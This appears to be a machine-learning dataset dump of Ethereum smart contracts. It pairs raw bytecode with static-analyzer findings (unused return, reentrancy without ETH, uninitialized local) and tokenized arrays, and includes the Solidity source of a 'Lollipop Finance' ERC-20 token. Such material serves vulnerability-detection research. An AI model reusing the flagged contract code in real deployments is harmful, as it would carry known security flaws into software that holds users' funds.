103a37b5b2b760891b6064820152608401610bec565b6000611f23612b9d565b90506000815111611f435760405180602001604052806000815250611f71565b80611f4d84612bac565b600e604051602001611f6193929190613947565b6040516020818303038152906040525b9392505050565b611f82333061223a565b611fc65760405162461bcd60e51b8152602060048201526015602482015274596f7520617265206e6f7420417070726f7665642160581b6044820152606401610bec565b60005b81811015610d2257612004838383818110611fe657611fe6613d43565b3360009081526018602090815260409091209391020135905061271b565b6120465760405162461bcd60e51b8152602060048201526013602482015272151bdad95b881b9bdd0819195c1bdcda5d1959606a1b6044820152606401610bec565b600b546001600160a01b031663f474c8ce3361207986868681811061206d5761206d613d43565b905060200201356129c3565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401600060405180830381600087803b1580156120bf57600080fd5b505af11580156120d3573d6000803e3d6000fd5b5050505061210a8383838181106120ec576120ec613d43565b33600090815260186020908152604090912093910201359050612caa565b5060006019600085858581811061212357612123613d43565b60209081029290920135835250818101929092526040908101600090812093909355338352601a9091528120805460ff191690554290601b9085858581811061216e5761216e613d43565b90506020020135815260200190815260200160002081905550306001600160a01b031663b88d4fde30338686868181106121aa576121aa613d43565b6040516001600160e01b031960e088901b1681526001600160a01b03958616600482015294909316602485015250602090910201356044820152608060648201526000608482015260a401600060405180830381600087803b15801561220f57600080fd5b505af1158015612223573d6000803e3d6000fd5b50505050808061223290613cb2565b915050611fc9565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b600a546001600160a01b031633146122925760405162461bcd60e51b8152600401610bec90613b14565b6001600160a01b0381166122f75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610bec565b610fc081612a49565b60145460ff16151560011461231457600080fd5b3360009081526016602052604090205461233160ff831682613bef565b905060018260ff161015801561234c5750600f548260ff1611155b6123905760405162461bcd60e51b8152602060048201526015602482015274135a5b9d08105b5bdd5b9d08125b98dbdc9c9958dd605a1b6044820152606401610bec565b60125461239b611662565b106123b85760405162461bcd60e51b8152600401610bec90613af1565b600f543360009081526016602052604090205411156124145760405162461bcd60e51b8152602060048201526018602482015277596f75277665206d6178656420796f7572206c696d69742160401b6044820152606401610bec565b8160ff166013546124259190613c1b565b3410156124855760405162461bcd60e51b815260206004820152602860248201527f4d696e74696e6720612047656e6573697320436f73747320302e303520457468604482015267657220456163682160c01b6064820152608401610bec565b600f548111156124d75760405162461bcd60e51b815260206004820152601a60248201527f596f75276c6c207375727061737320796f7572206c696d6974210000000000006044820152606401610bec565b60005b8260ff168160ff16101561261d57336000908152601c60205260408120805460019290612508908490613bef565b909155505033600090815260166020526040812080546001929061252d908490613bef565b9091555050600c80546001019055612547336111e8611662565b600b546001600160a01b031663cc240c0133612561611662565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401600060405180830381600087803b1580156125a757600080fd5b505af11580156125bb573d6000803e3d6000fd5b505050507f40c10f19c047ae7dfa66d6312b683d2ea3dfbcb4159e96b967c5f4b0a86f2842336125e9611662565b604080516001600160a01b03909316835260208301919091520160405180910390a18061261581613ccd565b9150506124da565b50601254612629611662565b14156112e2576014805461ffff19166101001790555050565b33600090815260186020526040902060609061166d90612cb6565b60006001600160e01b031982166380ac58cd60e01b148061268e57506001600160e01b03198216635b5e139f60e01b145b80610adf57506301ffc9a760e01b6001600160e01b0319831614610adf565b600081815260046020526040902080546001600160a01b0319166001600160a01b03841690811790915581906126e282611672565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60008181526001830160205260408120541515611f71565b6000818152600260205260408120546001600160a01b03166127ac5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610bec565b60006127b783611672565b9050806001600160a01b0316846001600160a01b031614806127f25750836001600160a01b03166127e784610b77565b6001600160a01b0316145b80610dac5750610dac818561223a565b826001600160a01b031661281582611672565b6001600160a01b03161461287d5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610bec565b6001600160a01b0382166128df5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610bec565b6128ea838383612cc3565b6128f56000826126ad565b6001600160a01b038316600090815260036020526040812080546001929061291e908490613c3a565b90915550506001600160a01b038216600090815260036020526040812080546001929061294c908490613bef565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6000610adf825490565b6000611f718383612d7b565b60008082158015906129d757506012548311155b156129f7576129e583610d27565b6129f0906014613c1b565b9050610adf565b60125483118015612a0a57506011548311155b15610adf57612a1883610d27565b611f71906005613c1b565b6112e2828260405180602001604052806000815250612da5565b6000611f718383612dd8565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b816001600160a01b0316836001600160a01b03161415612afd5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610bec565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b612b75848484612802565b612b8184848484612e27565b611cba5760405162461bcd60e51b8152600401610bec90613a9f565b6060600d8054610af490613c7d565b606081612bd05750506040805180820190915260018152600360fc1b602082015290565b8160005b8115612bfa5780612be481613cb2565b9150612bf39050600a83613c07565b9150612bd4565b60008167ffffffffffffffff811115612c1557612c15613d59565b6040519080825280601f01601f191660200182016040528015612c3f576020820181803683370190505b5090505b8415610dac57612c54600183613c3a565b9150612c61600a86613ced565b612c6c906030613bef565b60f81b818381518110612c8157612c81613d43565b60200101906001600160f81b031916908160001a905350612ca3600a86613c07565b9450612c43565b6000611f718383612f34565b60606000611f7183613027565b6001600160a01b038316612d1e57612d1981600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b612d41565b816001600160a01b0316836001600160a01b031614612d4157612d418382613083565b6001600160a01b038216612d5857610d2281613120565b826001600160a01b0316826001600160a01b031614610d2257610d2282826131cf565b6000826000018281548110612d9257612d92613d43565b9060005260206000200154905092915050565b612daf8383613213565b612dbc6000848484612e27565b610d225760405162461bcd60e51b8152600401610bec90613a9f565b6000818152600183016020526040812054612e1f57508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610adf565b506000610adf565b60006001600160a01b0384163b15612f2957604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290612e6b903390899088908890600401613a0b565b602060405180830381600087803b158015612e8557600080fd5b505af1925050508015612eb5575060408051601f3d908101601f19168201909252612eb291810190613860565b60015b612f0f573d808015612ee3576040519150601f19603f3d011682016040523d82523d6000602084013e612ee8565b606091505b508051612f075760405162461bcd60e51b8152600401610bec90613a9f565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050610dac565b506001949350505050565b6000818152600183016020526040812054801561301d576000612f58600183613c3a565b8554909150600090612f6c90600190613c3a565b9050818114612fd1576000866000018281548110612f8c57612f8c613d43565b9060005260206000200154905080876000018481548110612faf57612faf613d43565b6000918252602080832090910192909255918252600188019052604090208390555b8554869080612fe257612fe2613d2d565b600190038181906000526020600020016000905590558560010160008681526020019081526020016000206000905560019350505050610adf565b6000915050610adf565b60608160000180548060200260200160405190810160405280929190818152602001828054801561307757602002820191906000526020600020905b815481526020019060010190808311613063575b50505050509050919050565b60006001613090846117f3565b61309a9190613c3a565b6000838152600760205260409020549091508082146130ed576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b60085460009061313290600190613c3a565b6000838152600960205260408120546008805493945090928490811061315a5761315a613d43565b90600052602060002001549050806008838154811061317b5761317b613d43565b60009182526020808320909101929092558281526009909152604080822084905585825281205560088054806131b3576131b3613d2d565b6001900381819060005260206000200160009055905550505050565b60006131da836117f3565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b0382166132695760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610bec565b6000818152600260205260409020546001600160a01b0316156132ce5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610bec565b6132da60008383612cc3565b6001600160a01b0382166000908152600360205260408120805460019290613303908490613bef565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b82805461336d90613c7d565b90600052602060002090601f01602090048101928261338f57600085556133d5565b82601f106133a857805160ff19168380011785556133d5565b828001600101855582156133d5579182015b828111156133d55782518255916020019190600101906133ba565b506133e19291506133e5565b5090565b5b808211156133e157600081556001016133e6565b600067ffffffffffffffff83111561341457613414613d59565b613427601f8401601f1916602001613b9a565b905082815283838301111561343b57600080fd5b828260208301376000602084830101529392505050565b60006020828403121561346457600080fd5b8135611f7181613d6f565b6000806040838503121561348257600080fd5b823561348d81613d6f565b9150602083013561349d81613d6f565b809150509250929050565b6000806000606084860312156134bd57600080fd5b83356134c881613d6f565b925060208401356134d881613d6f565b929592945050506040919091013590565b60008060008060006080868803121561350157600080fd5b853561350c81613d6f565b9450602086013561351c81613d6f565b935060408601359250606086013567ffffffffffffffff8082111561354057600080fd5b818801915088601f83011261355457600080fd5b81358181111561356357600080fd5b89602082850101111561357557600080fd5b9699959850939650602001949392505050565b6000806000806080858703121561359e57600080fd5b84356135a981613d6f565b935060208501356135b981613d6f565b925060408501359150606085013567ffffffffffffffff8111156135dc57600080fd5b8501601f810187136135ed57600080fd5b6135fc878235602084016133fa565b91505092959194509250565b6000806040838503121561361b57600080fd5b823561362681613d6f565b91506020830135801515811461349d57600080fd5b6000806040838503121561364e57600080fd5b823561365981613d6f565b9150602083013561ffff8116811461349d57600080fd5b6000806040838503121561368357600080fd5b823561368e81613d6f565b946020939093013593505050565b600060208083850312156136af57600080fd5b823567ffffffffffffffff8111156136c657600080fd5b8301601f810185136136d757600080fd5b80356136ea6136e582613bcb565b613b9a565b80828252848201915084840188868560051b870101111561370a57600080fd5b600094505b8385101561373657803561372281613d6f565b83526001949094019391850191850161370f565b50979650505050505050565b6000806020838503121561375557600080fd5b823567ffffffffffffffff8082111561376d57600080fd5b818501915085601f83011261378157600080fd5b81358181111561379057600080fd5b8660208260051b85010111156137a557600080fd5b60209290920196919550909350505050565b600060208083850312156137ca57600080fd5b825167ffffffffffffffff8111156137e157600080fd5b8301601f810185136137f257600080fd5b80516138006136e582613bcb565b80828252848201915084840188868560051b870101111561382057600080fd5b600094505b83851015613736578051835260019490940193918501918501613825565b60006020828403121561385557600080fd5b8135611f7181613d84565b60006020828403121561387257600080fd5b8151611f7181613d84565b60006020828403121561388f57600080fd5b813567ffffffffffffffff8111156138a657600080fd5b8201601f810184136138b757600080fd5b610dac848235602084016133fa565b6000602082840312156138d857600080fd5b5035919050565b6000602082840312156138f157600080fd5b5051919050565b60006020828403121561390a57600080fd5b813560ff81168114611f7157600080fd5b60008151808452613933816020860160208601613c51565b601f01601f19169290920160200192915050565b60008451602061395a8285838a01613c51565b85519184019161396d8184848a01613c51565b8554920191600090600181811c908083168061398a57607f831692505b8583108114156139a857634e487b7160e01b85526022600452602485fd5b8080156139bc57600181146139cd576139fa565b60ff198516885283880195506139fa565b60008b81526020902060005b858110156139f25781548a8201529084019088016139d9565b505083880195505b50939b9a5050505050505050505050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090613a3e9083018461391b565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b81811015613a8057835183529284019291840191600101613a64565b50909695505050505050565b602081526000611f71602083018461391b565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b602080825260099082015268534f4c44204f55542160b81b604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b604051601f8201601f1916810167ffffffffffffffff81118282101715613bc357613bc3613d59565b604052919050565b600067ffffffffffffffff821115613be557613be5613d59565b5060051b60200190565b60008219821115613c0257613c02613d01565b500190565b600082613c1657613c16613d17565b500490565b6000816000190483118215151615613c3557613c35613d01565b500290565b600082821015613c4c57613c4c613d01565b500390565b60005b83811015613c6c578181015183820152602001613c54565b83811115611cba5750506000910152565b600181811c90821680613c9157607f821691505b6020821081141561134557634e487b7160e01b600052602260045260246000fd5b6000600019821415613cc657613cc6613d01565b5060010190565b600060ff821660ff811415613ce457613ce4613d01565b60010192915050565b600082613cfc57613cfc613d17565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610fc057600080fd5b6001600160e01b031981168114610fc057600080fdfea2646970667358221220a10847e6cf20c66bce0dfc9f136d780180511ecda3b9a86ce938006f46eec85264736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 21486, 2575, 19481, 2629, 2278, 22932, 4783, 2575, 2683, 23632, 22610, 26976, 2094, 2575, 19841, 2575, 2278, 2575, 2487, 2063, 2575, 2487, 6679, 27421, 2094, 2629, 2546, 2509, 1013, 1013, 5371, 1024, 2330, 4371, 27877, 2378, 1011, 5024, 3012, 1013, 8311, 1013, 21183, 12146, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 14046, 1013, 1013, 2023, 2544, 1997, 3647, 18900, 2232, 2323, 2069, 2022, 2109, 2007, 5024, 3012, 1014, 1012, 1022, 2030, 2101, 1010, 1013, 1013, 2138, 2009, 16803, 2006, 1996, 21624, 1005, 1055, 2328, 1999, 2058, 12314, 14148, 1012, 1013, 1008, 1008, 1008, 1030, 16475, 10236, 7347, 2058, 5024, 3012, 1005, 1055, 20204, 3136, 1012, 1008, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,086
0x9631a7f77327e6338c4bc2983b4bff6b5da81a41
/** *Lollipop Finance Token ERC-20 Contract */ pragma solidity ^0.4.24; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract Owned { address public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = 0x3333aaf91f792673f3A70A2CA227bE41Db162f03; } modifier onlyOwner { require(msg.sender == owner); _; } // transfer Ownership to other address function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0x0)); emit OwnershipTransferred(owner,_newOwner); owner = _newOwner; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract Lollipop is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; uint public RATE; uint public LOLETH; bool public isStopped = false; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; event ChangeRate(uint256 amount); modifier onlyWhenRunning { require(!isStopped); _; } constructor() public { symbol = "LOL"; name = "Lollipop Finance"; decimals = 8; _totalSupply = 10000000 * 10**uint(decimals); balances[owner] = _totalSupply; RATE = 6666; LOLETH = 1; emit Transfer(address(0), owner, _totalSupply); } function() public payable { buyTokens(); } function buyTokens() onlyWhenRunning public payable { require(msg.value > 0); uint tokens = msg.value.mul(RATE).div(LOLETH); require(balances[owner] >= tokens); balances[msg.sender] = balances[msg.sender].add(tokens); balances[owner] = balances[owner].sub(tokens); emit Transfer(owner, msg.sender, tokens); owner.transfer(msg.value); } function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { require(to != address(0)); require(tokens > 0); require(balances[msg.sender] >= tokens); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { require(spender != address(0)); require(tokens > 0); allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { require(from != address(0)); require(to != address(0)); require(tokens > 0); require(balances[from] >= tokens); require(allowed[from][msg.sender] >= tokens); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { require(_spender != address(0)); allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { require(_spender != address(0)); uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function changeRate(uint256 _rate) public onlyOwner { require(_rate > 0); RATE =_rate; emit ChangeRate(_rate); } }
0x608060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610111578063095ea7b3146101a157806318160ddd1461020657806323b872dd14610231578063313ce567146102b65780633eaaf86b146102e75780633f683b6a1461031257806358100a1714610341578063661884631461036c578063664e9704146103d157806370a08231146103fc57806374e7493b146104535780638da5cb5b1461048057806395d89b41146104d7578063a9059cbb14610567578063d0febe4c146105cc578063d73dd623146105d6578063dd62ed3e1461063b578063f2fde38b146106b2575b61010f6106f5565b005b34801561011d57600080fd5b50610126610a19565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016657808201518184015260208101905061014b565b50505050905090810190601f1680156101935780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ad57600080fd5b506101ec600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ab7565b604051808215151515815260200191505060405180910390f35b34801561021257600080fd5b5061021b610bf3565b6040518082815260200191505060405180910390f35b34801561023d57600080fd5b5061029c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bfd565b604051808215151515815260200191505060405180910390f35b3480156102c257600080fd5b506102cb611007565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f357600080fd5b506102fc61101a565b6040518082815260200191505060405180910390f35b34801561031e57600080fd5b50610327611020565b604051808215151515815260200191505060405180910390f35b34801561034d57600080fd5b50610356611033565b6040518082815260200191505060405180910390f35b34801561037857600080fd5b506103b7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611039565b604051808215151515815260200191505060405180910390f35b3480156103dd57600080fd5b506103e6611306565b6040518082815260200191505060405180910390f35b34801561040857600080fd5b5061043d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061130c565b6040518082815260200191505060405180910390f35b34801561045f57600080fd5b5061047e60048036038101908080359060200190929190505050611355565b005b34801561048c57600080fd5b50610495611400565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104e357600080fd5b506104ec611425565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561052c578082015181840152602081019050610511565b50505050905090810190601f1680156105595780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561057357600080fd5b506105b2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114c3565b604051808215151515815260200191505060405180910390f35b6105d46106f5565b005b3480156105e257600080fd5b50610621600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116f6565b604051808215151515815260200191505060405180910390f35b34801561064757600080fd5b5061069c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061192d565b6040518082815260200191505060405180910390f35b3480156106be57600080fd5b506106f3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119b4565b005b6000600760009054906101000a900460ff1615151561071357600080fd5b60003411151561072257600080fd5b61074b60065461073d60055434611b0990919063ffffffff16565b611b3a90919063ffffffff16565b905080600860008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156107bc57600080fd5b61080e81600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5e90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108c481600860008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7a90919063ffffffff16565b600860008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610a15573d6000803e3d6000fd5b5050565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610aaf5780601f10610a8457610100808354040283529160200191610aaf565b820191906000526020600020905b815481529060010190602001808311610a9257829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610af457600080fd5b600082111515610b0357600080fd5b81600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600454905090565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610c3a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610c7657600080fd5b600082111515610c8557600080fd5b81600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610cd357600080fd5b81600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610d5e57600080fd5b610db082600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7a90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e8282600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7a90919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f5482600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5e90919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60045481565b600760009054906101000a900460ff1681565b60065481565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561107857600080fd5b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611186576000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061121a565b6111998382611b7a90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60055481565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113b057600080fd5b6000811115156113bf57600080fd5b806005819055507f5a75aa1ccd5244c76a14e60301b7bc29e02263de78b6af4606269d5e1db08513816040518082815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114bb5780601f10611490576101008083540402835291602001916114bb565b820191906000526020600020905b81548152906001019060200180831161149e57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561150057600080fd5b60008211151561150f57600080fd5b81600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561155d57600080fd5b6115af82600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7a90919063ffffffff1